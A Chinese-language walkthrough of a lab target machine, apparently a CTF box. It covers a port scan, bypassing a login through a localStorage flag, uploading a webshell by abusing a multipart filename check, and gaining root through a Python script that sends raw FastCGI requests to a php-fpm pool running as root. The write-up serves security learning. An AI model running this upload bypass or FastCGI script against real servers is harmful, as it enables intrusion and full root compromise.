端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 192.168.56.15
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-21 07:25 EDT
Nmap scan report for 192.168.56.15
Host is up (0.00077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:63:4C:34 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 15.12 seconds

web

靶机只开启了22端口和80 端口

web端口只有一个登录框

image-20261021192810187

跑了一下弱口令没跑出来,扫目录也没扫到什么东西

image-20261021194950682

在web前端代码中有一段关于auth的js代码

image-20261021192923971

前端注释是个伏笔,同样重要

1
dev note (internal): reassembly backend is php-fpm on 127.0.0.1:9000,running the privileged worker pool used for image processing. requests are proxied from the web layer. do not expose outside the container.

将前端js代码交给ai分析可以得到密码framebox-admin-2024

不过你在js控制台中执行

1
2
localStorage.setItem('fb_authed', '1');
location.reload();

也是可以成功登录的

登录成功之后有一个分块上传功能

image-20261021193427970

以我蹩脚的英语来理解的话,超过1MB的文件会分块上传

image-20261021193723264

服务端的扩展名白名单只校验表单里的 filename 字段,但是没校验 multipart 里 file 分片自带的 filename。

image-20261021194504838

image-20261021194525938

将文件名写到 multipart 里 file 分片自带的 filename中即可上传

image-20261021194650761

image-20261021194730694

提权

这里拿了shell之后就是做一些信息收集了,但是没搜集到什么信息。

在一次cd ~操作之后,发现有点不对劲

我并不是root用户,执行cd ~ 竟然是 cd /root

image-20261021195103717

这就要回到前面注释中提到的

1
reassembly backend is php-fpm on 127.0.0.1:9000

/etc/php84/php-fpm.d/www.conf 里配置了 pool 以 root 身份运行。

image-20261021195624094

php-fpm进行也是以root运行的

image-20261021195729134

PHP-FPM 的 worker 池被错误配置成 user = root,并以 FastCGI 协议监听 127.0.0.1:9000

FPM 的 worker 进程本身就是 root 身份启动并保持的,它执行 PHP 脚本时不会降权

所以用 Python 手工构造 FastCGI 请求,访问一个已存在的 webshell 执行命令,FPM 就以 root 身份执行了该 PHP 脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
cat > /tmp/fcgi.py <<'PYEOF'
import socket, struct

def kv(k, v):
k, v = k.encode(), v.encode()
def ln(n):
return bytes([n]) if n < 128 else struct.pack('>I', n | 0x80000000)
return ln(len(k)) + ln(len(v)) + k + v

params = {
'SCRIPT_FILENAME': '/var/www/html/uploads/shell.php',
'REQUEST_METHOD': 'GET',
'QUERY_STRING': 'c=id',
'SERVER_PROTOCOL': 'HTTP/1.1',
'GATEWAY_INTERFACE': 'CGI/1.1',
'REMOTE_ADDR': '127.0.0.1',
'SERVER_NAME': 'localhost',
'SERVER_PORT': '80',
'DOCUMENT_ROOT': '/var/www/html',
}
body = b''.join(kv(k, v) for k, v in params.items())

def rec(t, rid, content):
return struct.pack('>BBHHBB', 1, t, rid, len(content), 0, 0) + content

req = (
rec(1, 1, struct.pack('>HB5s', 1, 0, b'\0'*5)) +
rec(4, 1, body) +
rec(4, 1, b'') +
rec(5, 1, b'')
)

s = socket.create_connection(('127.0.0.1', 9000), timeout=5)
s.sendall(req)
out = b''
while True:
d = s.recv(4096)
if not d:
break
out += d
s.close()
print(out.decode('latin-1'))
PYEOF
python3 /tmp/fcgi.py

image-20261021200136038